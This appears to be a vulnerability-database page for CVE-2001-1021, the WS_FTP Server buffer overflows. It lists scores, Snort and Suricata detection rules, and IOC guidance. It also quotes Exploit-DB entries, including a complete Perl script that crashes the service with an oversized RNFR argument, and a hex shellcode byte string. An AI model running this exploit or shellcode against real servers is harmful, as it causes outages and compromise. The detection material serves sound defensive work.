CVE-2001-1021
published 2001-07-26CVE-2001-1021: Buffer overflows in WS_FTP 2.02 allow remote attackers to execute arbitrary code via long arguments to (1) DELE, (2) MDTM, (3) MLST, (4) MKD, (5) RMD, (6)…
PriorityP341high7.5CVSS 2.0
AVNACLAuNCPIPAP
EXPLOIT
EPSS
42.14%
98.5th percentile
Buffer overflows in WS_FTP 2.02 allow remote attackers to execute arbitrary code via long arguments to (1) DELE, (2) MDTM, (3) MLST, (4) MKD, (5) RMD, (6) RNFR, (7) RNTO, (8) SIZE, (9) STAT, (10) XMKD, or (11) XRMD.
Affected
1 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| progress | ws_ftp_server | — | — |
Detection & IOCsextracted from sources · hover to see the quote
bytes↗
\x8b\xd8\x8b\xf8\x83\xc0\x18\x33\xc9\x66\xb9\x42\x81\x66\x81\xf1\x80\x80\x80\x30\x95\x40\xe2\xfa\xde\x1e\x76\x1e\x7e\x2e\x95\x6f\x95\x95\xc6\xfd\xd5\x95\x95\x95\x2b\x49\x81\xd0\x95\x6a\x83\x96\x56\x1e\x75\x1e\x7d\xa6\x55\xc5\xfd\x15\x95\x95\x95\xff\x97\xc5\xc5\xfd\x95\x95\x95\x85\x14\x52\x59\x94\x95\x95\xc2\x2b\xb1\x80\xd0\x95\x6a\x83\xc5\x2b\x6d\x81\xd0\x95\x6a\x83\xa6\x55\xc5\x2b\x85\x83\xd0\x95\x6a\x83
snort
alert ftp $EXTERNAL_NET any -> $HOME_NET any (msg:"GPL FTP RMD overflow attempt"; flow:established,to_server; content:"RMD"; nocase; isdataat:100,relative; pcre:"/^RMD\s[^\n]{100}/smi"; reference:bugtraq,2972; reference:cve,2000-0133; reference:cve,2001-0826; reference:cve,2001-1021; classtype:attempted-admin; sid:2101976; rev:11;)snort
alert ftp $EXTERNAL_NET any -> $HOME_NET any (msg:"GPL FTP invalid MDTM command attempt"; flow:established,to_server; content:"MDTM"; fast_pattern; nocase; pcre:"/^MDTM \d+[-+]\D/smi"; reference:bugtraq,9751; reference:cve,2001-1021; reference:cve,2004-0330; classtype:attempted-admin; sid:2102416; rev:9;)
snort
alert tcp $EXTERNAL_NET any -> $HOME_NET 21 (msg:"GPL FTP RNTO overflow attempt"; flow:established,to_server; content:"RNTO"; nocase; isdataat:100,relative; pcre:"/^RNTO\s[^\n]{100}/smi"; reference:bugtraq,8315; reference:cve,2000-0133; reference:cve,2001-1021; reference:cve,2003-0466; classtype:attempted-admin; sid:2102389; rev:9;)snort
alert ftp $EXTERNAL_NET any -> $HOME_NET any (msg:"GPL FTP MDTM overflow attempt"; flow:established,to_server; content:"MDTM"; nocase; isdataat:100,relative; pcre:"/^MDTM\s[^\n]{100}/smi"; reference:bugtraq,9751; reference:cve,2001-1021; reference:cve,2004-0330; reference:nessus,12080; classtype:attempted-admin; sid:2102546; rev:8;)- →FTP commands DELE, MDTM, MLST, MKD, RMD, RNFR, RNTO, SIZE, STAT, XMKD, XRMD with arguments exceeding ~100 bytes should be flagged as potential buffer overflow attempts against WS_FTP Server. ↗
- →Exploit authenticates anonymously (user: ftp / pass: ftp) before sending the overflow payload; monitor for anonymous FTP logins immediately followed by oversized command arguments. ↗
- →RNFR overflow requires a payload of 768 bytes; alert on RNFR arguments >= 768 bytes on TCP/21. ↗
- →DELE overflow payload is padded to 460+ bytes with \xd4 NOP-sled followed by a return address; alert on DELE arguments >= 460 bytes. ↗
- →Successful exploitation results in arbitrary code running with SYSTEM privilege; look for the WS_FTP server process spawning unexpected child processes. ↗
- →MDTM anomaly detection: flag MDTM commands where the argument matches the pattern of a numeric timestamp followed by a sign character and a non-digit (malformed timezone offset used in exploitation).
- ·The RMD and RNTO Snort rules reference additional CVEs (CVE-2000-0133, CVE-2001-0826, CVE-2003-0466) beyond CVE-2001-1021; tune rule metadata/references to scope detections specifically to WS_FTP if deployed in mixed-vendor FTP environments to reduce false positives.
- ·The MDTM overflow rule (sid:2102546) and the MDTM invalid-command rule (sid:2102416) both cover CVE-2001-1021 but use different PCRE patterns; deploy both to cover both the length-based and malformed-argument attack vectors.
CVEs like this are exactly what “Exploited This Week” covers.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
Suricata
GPL FTP RMD overflow attempt
suricata·2010-09-23
CVE-2000-0133 GPL FTP RMD overflow attempt
GPL FTP RMD overflow attempt
Rule: alert ftp $EXTERNAL_NET any -> $HOME_NET any (msg:"GPL FTP RMD overflow attempt"; flow:established,to_server; content:"RMD"; nocase; isdataat:100,relative; pcre:"/^RMD\s[^\n]{100}/smi"; reference:bugtraq,2972; reference:cve,2000-0133; reference:cve,2001-0826; reference:cve,2001-1021; classtype:attempted-admin; sid:2101976; rev:11; metadata:created_at 2010_09_23, cve CVE_2000_0133, confidence Medium, signature_severity Major, tag Description_Generated_By_Proofpoint_Nexus, updated_at 2024_03_08;)
Suricata
GPL FTP invalid MDTM command attempt
suricata·2010-09-23
CVE-2001-1021 GPL FTP invalid MDTM command attempt
GPL FTP invalid MDTM command attempt
Rule: alert ftp $EXTERNAL_NET any -> $HOME_NET any (msg:"GPL FTP invalid MDTM command attempt"; flow:established,to_server; content:"MDTM"; fast_pattern; nocase; pcre:"/^MDTM \d+[-+]\D/smi"; reference:bugtraq,9751; reference:cve,2001-1021; reference:cve,2004-0330; classtype:attempted-admin; sid:2102416; rev:9; metadata:created_at 2010_09_23, cve CVE_2001_1021, signature_severity Unknown, tag Description_Generated_By_Proofpoint_Nexus, updated_at 2024_03_08;)
Suricata
GPL FTP RNTO overflow attempt
suricata·2010-09-23
CVE-2000-0133 GPL FTP RNTO overflow attempt
GPL FTP RNTO overflow attempt
Rule: alert tcp $EXTERNAL_NET any -> $HOME_NET 21 (msg:"GPL FTP RNTO overflow attempt"; flow:established,to_server; content:"RNTO"; nocase; isdataat:100,relative; pcre:"/^RNTO\s[^\n]{100}/smi"; reference:bugtraq,8315; reference:cve,2000-0133; reference:cve,2001-1021; reference:cve,2003-0466; classtype:attempted-admin; sid:2102389; rev:9; metadata:created_at 2010_09_23, cve CVE_2000_0133, confidence Medium, signature_severity Major, tag Description_Generated_By_Proofpoint_Nexus, updated_at 2024_03_08;)
Suricata
GPL FTP MDTM overflow attempt
suricata·2010-09-23
CVE-2001-1021 GPL FTP MDTM overflow attempt
GPL FTP MDTM overflow attempt
Rule: alert ftp $EXTERNAL_NET any -> $HOME_NET any (msg:"GPL FTP MDTM overflow attempt"; flow:established,to_server; content:"MDTM"; nocase; isdataat:100,relative; pcre:"/^MDTM\s[^\n]{100}/smi"; reference:bugtraq,9751; reference:cve,2001-1021; reference:cve,2004-0330; reference:nessus,12080; classtype:attempted-admin; sid:2102546; rev:8; metadata:created_at 2010_09_23, cve CVE_2001_1021, confidence Medium, signature_severity Major, tag Description_Generated_By_Proofpoint_Nexus, updated_at 2024_03_08;)
Suricata
GPL FTP STAT overflow attempt
suricata·2010-09-23
CVE-2001-0325 GPL FTP STAT overflow attempt
GPL FTP STAT overflow attempt
Rule: alert tcp $EXTERNAL_NET any -> $HOME_NET 21 (msg:"GPL FTP STAT overflow attempt"; flow:established,to_server; content:"STAT"; nocase; isdataat:100,relative; pcre:"/^STAT\s[^\n]{100}/smi"; reference:bugtraq,3507; reference:bugtraq,8542; reference:cve,2001-0325; reference:cve,2001-1021; reference:url,labs.defcom.com/adv/2001/def-2001-31.txt; classtype:attempted-admin; sid:2101379; rev:14; metadata:created_at 2010_09_23, cve CVE_2001_0325, confidence Medium, signature_severity Major, tag Description_Generated_By_Proofpoint_Nexus, updated_at 2024_03_08;)
Suricata
GPL FTP DELE overflow attempt
suricata·2010-09-23
CVE-2001-0826 GPL FTP DELE overflow attempt
GPL FTP DELE overflow attempt
Rule: alert ftp $EXTERNAL_NET any -> $HOME_NET any (msg:"GPL FTP DELE overflow attempt"; flow:established,to_server; content:"DELE"; nocase; isdataat:100,relative; pcre:"/^DELE\s[^\n]{100}/smi"; reference:bugtraq,2972; reference:cve,2001-0826; reference:cve,2001-1021; classtype:attempted-admin; sid:2101975; rev:10; metadata:created_at 2010_09_23, cve CVE_2001_0826, confidence Medium, signature_severity Major, tag Description_Generated_By_Proofpoint_Nexus, updated_at 2024_03_08;)
Suricata
GPL FTP XMKD overflow attempt
suricata·2010-09-23
CVE-2000-0133 GPL FTP XMKD overflow attempt
GPL FTP XMKD overflow attempt
Rule: alert tcp $EXTERNAL_NET any -> $HOME_NET 21 (msg:"GPL FTP XMKD overflow attempt"; flow:established,to_server; content:"XMKD"; nocase; isdataat:100,relative; pcre:"/^XMKD\s[^\n]{100}/smi"; reference:bugtraq,7909; reference:cve,2000-0133; reference:cve,2001-1021; classtype:attempted-admin; sid:2102373; rev:6; metadata:created_at 2010_09_23, cve CVE_2000_0133, confidence Medium, signature_severity Major, tag Description_Generated_By_Proofpoint_Nexus, updated_at 2024_03_08;)
Exploit-DB
Ipswitch WS_FTP Server 5.03 - 'RNFR' Buffer Overflow
exploitdb·2004-11-29
CVE-2001-1021 Ipswitch WS_FTP Server 5.03 - 'RNFR' Buffer Overflow
Ipswitch WS_FTP Server 5.03 - 'RNFR' Buffer Overflow
---
#===== Start WS_FTP_Overflow.pl =====
#
# Usage: WS_FTP_Overflow.pl
# WS_FTP_Overflow.pl 127.0.0.1 hello moto
#
# WS_FTP Server Version 5.03, 2004.10.14
#
# Download:
# http://www.ipswitch.com/
#
######################################################
use IO::Socket;
use strict;
my($socket) = "";
if ($socket = IO::Socket::INET->new(PeerAddr => $ARGV[0],
PeerPort => "21",
Proto => "TCP"))
{
print "Attempting to kill WS_FTP Server service at $ARGV[0]:21...";
sleep(1);
print $socket "USER $ARGV[1]\r\n";
sleep(1);
print $socket "PASS $ARGV[2]\r\n";
sleep(1);
print $socket "PORT 127,0,0,1,18,12\r\n";
sleep(1);
print $socket "RNFR " . "A" x 768 . "\r\n";
close($socket);
}
else
{
print "Cannot connect to $ARGV[0]:21\n";
}
#====
Exploit-DB
Ipswitch WS_FTP Server 2.0 - Anonymous Multiple FTP Command Buffer Overflows
exploitdb·2001-07-25
CVE-2001-1021 Ipswitch WS_FTP Server 2.0 - Anonymous Multiple FTP Command Buffer Overflows
Ipswitch WS_FTP Server 2.0 - Anonymous Multiple FTP Command Buffer Overflows
---
source: https://www.securityfocus.com/bid/3102/info
WS-FTP Server is vulnerable to malicious remote user input argumenting multiple FTP commands received from anonymously connecting clients.
An attacker may supply a long sequence of characters as an argument to any of the affected commands. If the length of the argumenting string exceeds the size of its input buffer, the excess data will overwrite other variables on the stack and the stack frame itself.
As a result, an attacker can replace the affected function's return address with a pointer to malicious shellcode, allowing arbitrary code to run with SYSTEM privilege.
#!/usr/local/bin/perl
################################################################
No writeups or analysis indexed.
http://archives.neohapsis.com/archives/bugtraq/2001-07/0610.htmlhttp://www.ipswitch.com/Support/WS_FTP-Server/patch-upgrades.htmlhttps://exchange.xforce.ibmcloud.com/vulnerabilities/6911http://archives.neohapsis.com/archives/bugtraq/2001-07/0610.htmlhttp://www.ipswitch.com/Support/WS_FTP-Server/patch-upgrades.htmlhttps://exchange.xforce.ibmcloud.com/vulnerabilities/6911
2001-07-26
Published